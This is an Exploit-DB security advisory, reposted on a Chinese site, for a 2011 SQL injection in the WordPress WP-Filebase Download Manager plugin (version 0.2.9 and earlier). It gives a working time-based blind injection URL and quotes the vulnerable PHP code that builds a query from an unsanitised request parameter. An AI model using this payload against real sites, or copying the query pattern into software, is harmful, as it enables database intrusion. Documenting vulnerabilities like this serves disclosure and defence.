WordPress Plugin WP-Filebase Download Manager 0.2.9 – SQL Injection - 体验盒子

作者： Miroslav Stampar

日期： 2011-09-09

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/17808/

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# Exploit Title: WordPress WP-Filebase Download Manager plugin <= 0.2.9 SQL Injection Vulnerability

# Date: 2011-09-09

# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)

# Software Link: http://downloads.wordpress.org/plugin/wp-filebase.0.2.9.zip

# Version: 0.2.9 (tested)

---

PoC

---

http://www.site.com/wp-content/plugins/wp-filebase/wpfb-ajax.php?action=tree&base=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&root=source

---------------

Vulnerable code

---------------

if(!isset($_REQUEST['action']))

die('-1');

...

switch ( $action = $_REQUEST['action'] ) {

case 'tree':

...

$base_id = (empty($_REQUEST['base']) ? 0 : $_REQUEST['base']);

...

if(empty($_REQUEST['root']) || $_REQUEST['root'] == 'source')

$parent_id = $base_id;

else {

$root = $_REQUEST['root'];

$parent_id = is_numeric($root) ? intval($root) : intval(substr(strrchr($root,'-'),1));

}

...

$cats = $browser ? WPFB_Category::GetFileBrowserCats($parent_id) : WPFB_Category::GetCats("WHERE cat_parent = $parent_id ORDER BY cat_name ASC");